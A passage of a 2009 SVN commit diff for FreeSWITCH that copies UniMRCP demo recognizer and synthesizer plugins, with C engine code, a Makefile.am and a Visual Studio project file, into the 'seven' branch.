+	mrcp_message_t *response = mrcp_response_create(request,request->pool);
+	switch(request->start_line.method_id) {
+		case RECOGNIZER_SET_PARAMS:
+			break;
+		case RECOGNIZER_GET_PARAMS:
+			break;
+		case RECOGNIZER_DEFINE_GRAMMAR:
+			break;
+		case RECOGNIZER_RECOGNIZE:
+			processed = demo_recog_channel_recognize(channel,request,response);
+			break;
+		case RECOGNIZER_GET_RESULT:
+			break;
+		case RECOGNIZER_START_INPUT_TIMERS:
+			processed = demo_recog_channel_timers_start(channel,request,response);
+			break;
+		case RECOGNIZER_STOP:
+			processed = demo_recog_channel_stop(channel,request,response);
+			break;
+		default:
+			break;
+	}
+	if(processed == FALSE) {
+		/* send asynchronous response for not handled request */
+		mrcp_engine_channel_message_send(channel,response);
+	}
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to destroy any additional data associated with audio stream */
+static apt_bool_t demo_recog_stream_destroy(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to perform any action before open */
+static apt_bool_t demo_recog_stream_open(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to perform any action after close */
+static apt_bool_t demo_recog_stream_close(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/* Raise demo START-OF-INPUT event */
+static apt_bool_t demo_recog_start_of_input(demo_recog_channel_t *recog_channel)
+{
+	/* create START-OF-INPUT event */
+	mrcp_message_t *message = mrcp_event_create(
+						recog_channel->recog_request,
+						RECOGNIZER_START_OF_INPUT,
+						recog_channel->recog_request->pool);
+	if(!message) {
+		return FALSE;
+	}
+
+	/* set request state */
+	message->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+	/* send asynch event */
+	return mrcp_engine_channel_message_send(recog_channel->channel,message);
+}
+
+/* Load demo recognition result */
+static apt_bool_t demo_recog_result_load(demo_recog_channel_t *recog_channel, mrcp_message_t *message)
+{
+	FILE *file;
+	mrcp_engine_channel_t *channel = recog_channel->channel;
+	const apt_dir_layout_t *dir_layout = channel->engine->dir_layout;
+	char *file_path = apt_datadir_filepath_get(dir_layout,"result.xml",message->pool);
+	if(!file_path) {
+		return FALSE;
+	}
+	
+	/* read the demo result from file */
+	file = fopen(file_path,"r");
+	if(file) {
+		mrcp_generic_header_t *generic_header;
+		char text[1024];
+		apr_size_t size;
+		size = fread(text,1,sizeof(text),file);
+		apt_string_assign_n(&message->body,text,size,message->pool);
+		fclose(file);
+
+		/* get/allocate generic header */
+		generic_header = mrcp_generic_header_prepare(message);
+		if(generic_header) {
+			/* set content types */
+			apt_string_assign(&generic_header->content_type,"application/x-nlsml",message->pool);
+			mrcp_generic_header_property_add(message,GENERIC_HEADER_CONTENT_TYPE);
+		}
+	}
+	return TRUE;
+}
+
+/* Raise demo RECOGNITION-COMPLETE event */
+static apt_bool_t demo_recog_recognition_complete(demo_recog_channel_t *recog_channel, mrcp_recog_completion_cause_e cause)
+{
+	mrcp_recog_header_t *recog_header;
+	/* create RECOGNITION-COMPLETE event */
+	mrcp_message_t *message = mrcp_event_create(
+						recog_channel->recog_request,
+						RECOGNIZER_RECOGNITION_COMPLETE,
+						recog_channel->recog_request->pool);
+	if(!message) {
+		return FALSE;
+	}
+
+	/* get/allocate recognizer header */
+	recog_header = mrcp_resource_header_prepare(message);
+	if(recog_header) {
+		/* set completion cause */
+		recog_header->completion_cause = cause;
+		mrcp_resource_header_property_add(message,RECOGNIZER_HEADER_COMPLETION_CAUSE);
+	}
+	/* set request state */
+	message->start_line.request_state = MRCP_REQUEST_STATE_COMPLETE;
+
+	if(cause == RECOGNIZER_COMPLETION_CAUSE_SUCCESS) {
+		demo_recog_result_load(recog_channel,message);
+	}
+
+	recog_channel->recog_request = NULL;
+	/* send asynch event */
+	return mrcp_engine_channel_message_send(recog_channel->channel,message);
+}
+
+/** Callback is called from MPF engine context to write/send new frame */
+static apt_bool_t demo_recog_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
+{
+	demo_recog_channel_t *recog_channel = stream->obj;
+	if(recog_channel->stop_response) {
+		/* send asynchronous response to STOP request */
+		mrcp_engine_channel_message_send(recog_channel->channel,recog_channel->stop_response);
+		recog_channel->stop_response = NULL;
+		recog_channel->recog_request = NULL;
+		return TRUE;
+	}
+
+	if(recog_channel->recog_request) {
+		mpf_detector_event_e det_event = mpf_activity_detector_process(recog_channel->detector,frame);
+		switch(det_event) {
+			case MPF_DETECTOR_EVENT_ACTIVITY:
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Detected Voice Activity");
+				demo_recog_start_of_input(recog_channel);
+				break;
+			case MPF_DETECTOR_EVENT_INACTIVITY:
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Detected Voice Inactivity");
+				demo_recog_recognition_complete(recog_channel,RECOGNIZER_COMPLETION_CAUSE_SUCCESS);
+				break;
+			case MPF_DETECTOR_EVENT_NOINPUT:
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Detected Noinput");
+				if(recog_channel->timers_started == TRUE) {
+					demo_recog_recognition_complete(recog_channel,RECOGNIZER_COMPLETION_CAUSE_NO_INPUT_TIMEOUT);
+				}
+				break;
+			default:
+				break;
+		}
+
+		if(recog_channel->audio_out) {
+			fwrite(frame->codec_frame.buffer,1,frame->codec_frame.size,recog_channel->audio_out);
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t demo_recog_msg_signal(demo_recog_msg_type_e type, mrcp_engine_channel_t *channel, mrcp_message_t *request)
+{
+	apt_bool_t status = FALSE;
+	demo_recog_channel_t *demo_channel = channel->method_obj;
+	demo_recog_engine_t *demo_engine = demo_channel->demo_engine;
+	apt_task_t *task = apt_consumer_task_base_get(demo_engine->task);
+	apt_task_msg_t *msg = apt_task_msg_get(task);
+	if(msg) {
+		demo_recog_msg_t *demo_msg;
+		msg->type = TASK_MSG_USER;
+		demo_msg = (demo_recog_msg_t*) msg->data;
+
+		demo_msg->type = type;
+		demo_msg->channel = channel;
+		demo_msg->request = request;
+		status = apt_task_msg_signal(task,msg);
+	}
+	return status;
+}
+
+static apt_bool_t demo_recog_msg_process(apt_task_t *task, apt_task_msg_t *msg)
+{
+	demo_recog_msg_t *demo_msg = (demo_recog_msg_t*)msg->data;
+	switch(demo_msg->type) {
+		case DEMO_RECOG_MSG_OPEN_CHANNEL:
+			/* open channel and send asynch response */
+			mrcp_engine_channel_open_respond(demo_msg->channel,TRUE);
+			break;
+		case DEMO_RECOG_MSG_CLOSE_CHANNEL:
+			/* close channel, make sure there is no activity and send asynch response */
+			mrcp_engine_channel_close_respond(demo_msg->channel);
+			break;
+		case DEMO_RECOG_MSG_REQUEST_PROCESS:
+			demo_recog_channel_request_dispatch(demo_msg->channel,demo_msg->request);
+			break;
+		default:
+			break;
+	}
+	return TRUE;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/demo-synth)

Property changes: freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/demo-synth/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+MAINTAINERCLEANFILES 	   = Makefile.in
+
+INCLUDES                   = -Iinclude \
+                             -I$(top_srcdir)/libs/mrcp-engine/include \
+                             -I$(top_srcdir)/libs/mrcp/include \
+                             -I$(top_srcdir)/libs/mrcp/message/include \
+                             -I$(top_srcdir)/libs/mrcp/control/include \
+                             -I$(top_srcdir)/libs/mrcp/resources/include \
+                             -I$(top_srcdir)/libs/mpf/include \
+                             -I$(top_srcdir)/libs/apr-toolkit/include \
+                             $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+plugin_LTLIBRARIES         = demosynth.la
+
+demosynth_la_SOURCES       = src/demo_synth_engine.c
+demosynth_la_LDFLAGS       = -module $(PLUGIN_LT_VERSION)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/demosynth.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/demosynth.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/demo-synth/demosynth.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/demosynth.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/demosynth.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,165 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="demosynth"
+	ProjectGUID="{92BFA534-C419-4EB2-AAA3-510653F38F08}"
+	RootNamespace="demosynth"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpplugin.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpplugin.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\demo_synth_engine.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/src (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/demo-synth/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/src/demo_synth_engine.c

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/src/demo_synth_engine.c (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/demo-synth/src/demo_synth_engine.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/src/demo_synth_engine.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/demo-synth/src/demo_synth_engine.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,521 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 
+ * Some mandatory rules for plugin implementation.
+ * 1. Each plugin MUST contain the following function as an entry point of the plugin
+ *        MRCP_PLUGIN_DECLARE(mrcp_resource_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
+ * 2. One and only one response MUST be sent back to the received request.
+ * 3. Methods (callbacks) of the MRCP engine channel MUST not block.
+ *   (asynch response can be sent from the context of other thread)
+ * 4. Methods (callbacks) of the MPF engine stream MUST not block.
+ */
+
+#include "mrcp_resource_engine.h"
+#include "mrcp_synth_resource.h"
+#include "mrcp_synth_header.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_message.h"
+#include "apt_consumer_task.h"
+#include "apt_log.h"
+
+#define SYNTH_ENGINE_TASK_NAME "Demo Synth Engine"
+
+typedef struct demo_synth_engine_t demo_synth_engine_t;
+typedef struct demo_synth_channel_t demo_synth_channel_t;
+typedef struct demo_synth_msg_t demo_synth_msg_t;
+
+/** Declaration of synthesizer engine methods */
+static apt_bool_t demo_synth_engine_destroy(mrcp_resource_engine_t *engine);
+static apt_bool_t demo_synth_engine_open(mrcp_resource_engine_t *engine);
+static apt_bool_t demo_synth_engine_close(mrcp_resource_engine_t *engine);
+static mrcp_engine_channel_t* demo_synth_engine_channel_create(mrcp_resource_engine_t *engine, apr_pool_t *pool);
+
+static const struct mrcp_engine_method_vtable_t engine_vtable = {
+	demo_synth_engine_destroy,
+	demo_synth_engine_open,
+	demo_synth_engine_close,
+	demo_synth_engine_channel_create
+};
+
+
+/** Declaration of synthesizer channel methods */
+static apt_bool_t demo_synth_channel_destroy(mrcp_engine_channel_t *channel);
+static apt_bool_t demo_synth_channel_open(mrcp_engine_channel_t *channel);
+static apt_bool_t demo_synth_channel_close(mrcp_engine_channel_t *channel);
+static apt_bool_t demo_synth_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request);
+
+static const struct mrcp_engine_channel_method_vtable_t channel_vtable = {
+	demo_synth_channel_destroy,
+	demo_synth_channel_open,
+	demo_synth_channel_close,
+	demo_synth_channel_request_process
+};
+
+/** Declaration of synthesizer audio stream methods */
+static apt_bool_t demo_synth_stream_destroy(mpf_audio_stream_t *stream);
+static apt_bool_t demo_synth_stream_open(mpf_audio_stream_t *stream);
+static apt_bool_t demo_synth_stream_close(mpf_audio_stream_t *stream);
+static apt_bool_t demo_synth_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame);
+
+static const mpf_audio_stream_vtable_t audio_stream_vtable = {
+	demo_synth_stream_destroy,
+	demo_synth_stream_open,
+	demo_synth_stream_close,
+	demo_synth_stream_read,
+	NULL,
+	NULL,
+	NULL
+};
+
+/** Declaration of demo synthesizer engine */
+struct demo_synth_engine_t {
+	apt_consumer_task_t    *task;
+};
+
+/** Declaration of demo synthesizer channel */
+struct demo_synth_channel_t {
+	/** Back pointer to engine */
+	demo_synth_engine_t   *demo_engine;
+	/** Engine channel base */
+	mrcp_engine_channel_t *channel;
+
+	/** Active (in-progress) speak request */
+	mrcp_message_t        *speak_request;
+	/** Pending stop response */
+	mrcp_message_t        *stop_response;
+	/** Estimated time to complete */
+	apr_size_t             time_to_complete;
+	/** Is paused */
+	apt_bool_t             paused;
+	/** Speech source (used instead of actual synthesizing) */
+	FILE                  *audio_file;
+};
+
+typedef enum {
+	DEMO_SYNTH_MSG_OPEN_CHANNEL,
+	DEMO_SYNTH_MSG_CLOSE_CHANNEL,
+	DEMO_SYNTH_MSG_REQUEST_PROCESS
+} demo_synth_msg_type_e;
+
+/** Declaration of demo synthesizer task message */
+struct demo_synth_msg_t {
+	demo_synth_msg_type_e  type;
+	mrcp_engine_channel_t *channel; 
+	mrcp_message_t        *request;
+};
+
+
+#define DEMO_SPEECH_SOURCE_FILE "demo.pcm"
+static apt_bool_t demo_synth_msg_signal(demo_synth_msg_type_e type, mrcp_engine_channel_t *channel, mrcp_message_t *request);
+static apt_bool_t demo_synth_msg_process(apt_task_t *task, apt_task_msg_t *msg);
+
+/** Declare this macro to use log routine of the server, plugin is loaded from */
+MRCP_PLUGIN_LOGGER_IMPLEMENT
+
+/** Create demo synthesizer engine */
+MRCP_PLUGIN_DECLARE(mrcp_resource_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
+{
+	/* create demo engine */
+	demo_synth_engine_t *demo_engine = apr_palloc(pool,sizeof(demo_synth_engine_t));
+	apt_task_t *task;
+	apt_task_vtable_t *vtable;
+	apt_task_msg_pool_t *msg_pool;
+
+	/* create task/thread to run demo engine in the context of this task */
+	msg_pool = apt_task_msg_pool_create_dynamic(sizeof(demo_synth_msg_t),pool);
+	demo_engine->task = apt_consumer_task_create(demo_engine,msg_pool,pool);
+	if(!demo_engine->task) {
+		return NULL;
+	}
+	task = apt_consumer_task_base_get(demo_engine->task);
+	apt_task_name_set(task,SYNTH_ENGINE_TASK_NAME);
+	vtable = apt_task_vtable_get(task);
+	if(vtable) {
+		vtable->process_msg = demo_synth_msg_process;
+	}
+
+	/* create resource engine base */
+	return mrcp_resource_engine_create(
+					MRCP_SYNTHESIZER_RESOURCE, /* MRCP resource identifier */
+					demo_engine,               /* object to associate */
+					&engine_vtable,            /* virtual methods table of resource engine */
+					pool);                     /* pool to allocate memory from */
+}
+
+/** Destroy synthesizer engine */
+static apt_bool_t demo_synth_engine_destroy(mrcp_resource_engine_t *engine)
+{
+	demo_synth_engine_t *demo_engine = engine->obj;
+	if(demo_engine->task) {
+		apt_task_t *task = apt_consumer_task_base_get(demo_engine->task);
+		apt_task_destroy(task);
+		demo_engine->task = NULL;
+	}
+	return TRUE;
+}
+
+/** Open synthesizer engine */
+static apt_bool_t demo_synth_engine_open(mrcp_resource_engine_t *engine)
+{
+	demo_synth_engine_t *demo_engine = engine->obj;
+	if(demo_engine->task) {
+		apt_task_t *task = apt_consumer_task_base_get(demo_engine->task);
+		apt_task_start(task);
+	}
+	return TRUE;
+}
+
+/** Close synthesizer engine */
+static apt_bool_t demo_synth_engine_close(mrcp_resource_engine_t *engine)
+{
+	demo_synth_engine_t *demo_engine = engine->obj;
+	if(demo_engine->task) {
+		apt_task_t *task = apt_consumer_task_base_get(demo_engine->task);
+		apt_task_terminate(task,TRUE);
+	}
+	return TRUE;
+}
+
+/** Create demo synthesizer channel derived from engine channel base */
+static mrcp_engine_channel_t* demo_synth_engine_channel_create(mrcp_resource_engine_t *engine, apr_pool_t *pool)
+{
+	/* create demo synth channel */
+	demo_synth_channel_t *synth_channel = apr_palloc(pool,sizeof(demo_synth_channel_t));
+	synth_channel->demo_engine = engine->obj;
+	synth_channel->speak_request = NULL;
+	synth_channel->stop_response = NULL;
+	synth_channel->time_to_complete = 0;
+	synth_channel->paused = FALSE;
+	synth_channel->audio_file = NULL;
+	/* create engine channel base */
+	synth_channel->channel = mrcp_engine_source_channel_create(
+			engine,               /* resource engine */
+			&channel_vtable,      /* virtual methods table of engine channel */
+			&audio_stream_vtable, /* virtual methods table of audio stream */
+			synth_channel,        /* object to associate */
+			NULL,                 /* codec descriptor might be NULL by default */
+			pool);                /* pool to allocate memory from */
+	return synth_channel->channel;
+}
+
+/** Destroy engine channel */
+static apt_bool_t demo_synth_channel_destroy(mrcp_engine_channel_t *channel)
+{
+	/* nothing to destroy */
+	return TRUE;
+}
+
+/** Open engine channel (asynchronous response MUST be sent)*/
+static apt_bool_t demo_synth_channel_open(mrcp_engine_channel_t *channel)
+{
+	return demo_synth_msg_signal(DEMO_SYNTH_MSG_OPEN_CHANNEL,channel,NULL);
+}
+
+/** Close engine channel (asynchronous response MUST be sent)*/
+static apt_bool_t demo_synth_channel_close(mrcp_engine_channel_t *channel)
+{
+	return demo_synth_msg_signal(DEMO_SYNTH_MSG_CLOSE_CHANNEL,channel,NULL);
+}
+
+/** Process MRCP channel request (asynchronous response MUST be sent)*/
+static apt_bool_t demo_synth_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request)
+{
+	return demo_synth_msg_signal(DEMO_SYNTH_MSG_REQUEST_PROCESS,channel,request);
+}
+
+/** Process SPEAK request */
+static apt_bool_t demo_synth_channel_speak(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	char *file_path = NULL;
+	demo_synth_channel_t *synth_channel = channel->method_obj;
+	synth_channel->time_to_complete = 0;
+	if(channel->engine) {
+		file_path = apt_datadir_filepath_get(channel->engine->dir_layout,DEMO_SPEECH_SOURCE_FILE,channel->pool);
+	}
+	if(file_path) {
+		synth_channel->audio_file = fopen(file_path,"rb");
+		if(synth_channel->audio_file) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set [%s] as Speech Source",file_path);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"No Speech Source [%s] Found",file_path);
+			/* calculate estimated time to complete */
+			if(mrcp_generic_header_property_check(request,GENERIC_HEADER_CONTENT_LENGTH) == TRUE) {
+				mrcp_generic_header_t *generic_header = mrcp_generic_header_get(request);
+				if(generic_header) {
+					synth_channel->time_to_complete = generic_header->content_length * 10; /* 10 msec per character */
+				}
+			}
+		}
+	}
+	
+	response->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	synth_channel->speak_request = request;
+	return TRUE;
+}
+
+/** Process STOP request */
+static apt_bool_t demo_synth_channel_stop(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	demo_synth_channel_t *synth_channel = channel->method_obj;
+	/* store the request, make sure there is no more activity and only then send the response */
+	synth_channel->stop_response = response;
+	return TRUE;
+}
+
+/** Process PAUSE request */
+static apt_bool_t demo_synth_channel_pause(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	demo_synth_channel_t *synth_channel = channel->method_obj;
+	synth_channel->paused = TRUE;
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	return TRUE;
+}
+
+/** Process RESUME request */
+static apt_bool_t demo_synth_channel_resume(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	demo_synth_channel_t *synth_channel = channel->method_obj;
+	synth_channel->paused = FALSE;
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	return TRUE;
+}
+
+/** Process SET-PARAMS request */
+static apt_bool_t demo_synth_channel_set_params(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	mrcp_synth_header_t *req_synth_header;
+	/* get synthesizer header */
+	req_synth_header = mrcp_resource_header_get(request);
+	if(req_synth_header) {
+		/* check voice age header */
+		if(mrcp_resource_header_property_check(request,SYNTHESIZER_HEADER_VOICE_AGE) == TRUE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Voice Age [%d]",req_synth_header->voice_param.age);
+		}
+		/* check voice name header */
+		if(mrcp_resource_header_property_check(request,SYNTHESIZER_HEADER_VOICE_NAME) == TRUE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Voice Name [%s]",req_synth_header->voice_param.name);
+		}
+	}
+	
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	return TRUE;
+}
+
+/** Process GET-PARAMS request */
+static apt_bool_t demo_synth_channel_get_params(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	mrcp_synth_header_t *req_synth_header;
+	/* get synthesizer header */
+	req_synth_header = mrcp_resource_header_get(request);
+	if(req_synth_header) {
+		mrcp_synth_header_t *res_synth_header = mrcp_resource_header_prepare(response);
+		/* check voice age header */
+		if(mrcp_resource_header_property_check(request,SYNTHESIZER_HEADER_VOICE_AGE) == TRUE) {
+			res_synth_header->voice_param.age = 25;
+			mrcp_resource_header_property_add(response,SYNTHESIZER_HEADER_VOICE_AGE);
+		}
+		/* check voice name header */
+		if(mrcp_resource_header_property_check(request,SYNTHESIZER_HEADER_VOICE_NAME) == TRUE) {
+			apt_string_set(&res_synth_header->voice_param.name,"David");
+			mrcp_resource_header_property_add(response,SYNTHESIZER_HEADER_VOICE_NAME);
+		}
+	}
+
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	return TRUE;
+}
+
+/** Dispatch MRCP request */
+static apt_bool_t demo_synth_channel_request_dispatch(mrcp_engine_channel_t *channel, mrcp_message_t *request)
+{
+	apt_bool_t processed = FALSE;
+	mrcp_message_t *response = mrcp_response_create(request,request->pool);
+	switch(request->start_line.method_id) {
+		case SYNTHESIZER_SET_PARAMS:
+			processed = demo_synth_channel_set_params(channel,request,response);
+			break;
+		case SYNTHESIZER_GET_PARAMS:
+			processed = demo_synth_channel_get_params(channel,request,response);
+			break;
+		case SYNTHESIZER_SPEAK:
+			processed = demo_synth_channel_speak(channel,request,response);
+			break;
+		case SYNTHESIZER_STOP:
+			processed = demo_synth_channel_stop(channel,request,response);
+			break;
+		case SYNTHESIZER_PAUSE:
+			processed = demo_synth_channel_pause(channel,request,response);
+			break;
+		case SYNTHESIZER_RESUME:
+			processed = demo_synth_channel_resume(channel,request,response);
+			break;
+		case SYNTHESIZER_BARGE_IN_OCCURRED:
+			processed = demo_synth_channel_stop(channel,request,response);
+			break;
+		case SYNTHESIZER_CONTROL:
+			break;
+		case SYNTHESIZER_DEFINE_LEXICON:
+			break;
+		default:
+			break;
+	}
+	if(processed == FALSE) {
+		/* send asynchronous response for not handled request */
+		mrcp_engine_channel_message_send(channel,response);
+	}
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to destroy any additional data associated with audio stream */
+static apt_bool_t demo_synth_stream_destroy(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to perform any action before open */
+static apt_bool_t demo_synth_stream_open(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to perform any action after close */
+static apt_bool_t demo_synth_stream_close(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to read/get new frame */
+static apt_bool_t demo_synth_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame)
+{
+	demo_synth_channel_t *synth_channel = stream->obj;
+	/* check if STOP was requested */
+	if(synth_channel->stop_response) {
+		/* send asynchronous response to STOP request */
+		mrcp_engine_channel_message_send(synth_channel->channel,synth_channel->stop_response);
+		synth_channel->stop_response = NULL;
+		synth_channel->speak_request = NULL;
+		synth_channel->paused = FALSE;
+		if(synth_channel->audio_file) {
+			fclose(synth_channel->audio_file);
+			synth_channel->audio_file = NULL;
+		}
+		return TRUE;
+	}
+
+	/* check if there is active SPEAK request and it isn't in paused state */
+	if(synth_channel->speak_request && synth_channel->paused == FALSE) {
+		/* normal processing */
+		apt_bool_t completed = FALSE;
+		if(synth_channel->audio_file) {
+			/* read speech from file */
+			apr_size_t size = frame->codec_frame.size;
+			if(fread(frame->codec_frame.buffer,1,size,synth_channel->audio_file) == size) {
+				frame->type |= MEDIA_FRAME_TYPE_AUDIO;
+			}
+			else {
+				completed = TRUE;
+			}
+		}
+		else {
+			/* fill with silence in case no file available */
+			if(synth_channel->time_to_complete >= CODEC_FRAME_TIME_BASE) {
+				memset(frame->codec_frame.buffer,0,frame->codec_frame.size);
+				frame->type |= MEDIA_FRAME_TYPE_AUDIO;
+				synth_channel->time_to_complete -= CODEC_FRAME_TIME_BASE;
+			}
+			else {
+				completed = TRUE;
+			}
+		}
+		
+		if(completed) {
+			/* raise SPEAK-COMPLETE event */
+			mrcp_message_t *message = mrcp_event_create(
+								synth_channel->speak_request,
+								SYNTHESIZER_SPEAK_COMPLETE,
+								synth_channel->speak_request->pool);
+			if(message) {
+				/* get/allocate synthesizer header */
+				mrcp_synth_header_t *synth_header = mrcp_resource_header_prepare(message);
+				if(synth_header) {
+					/* set completion cause */
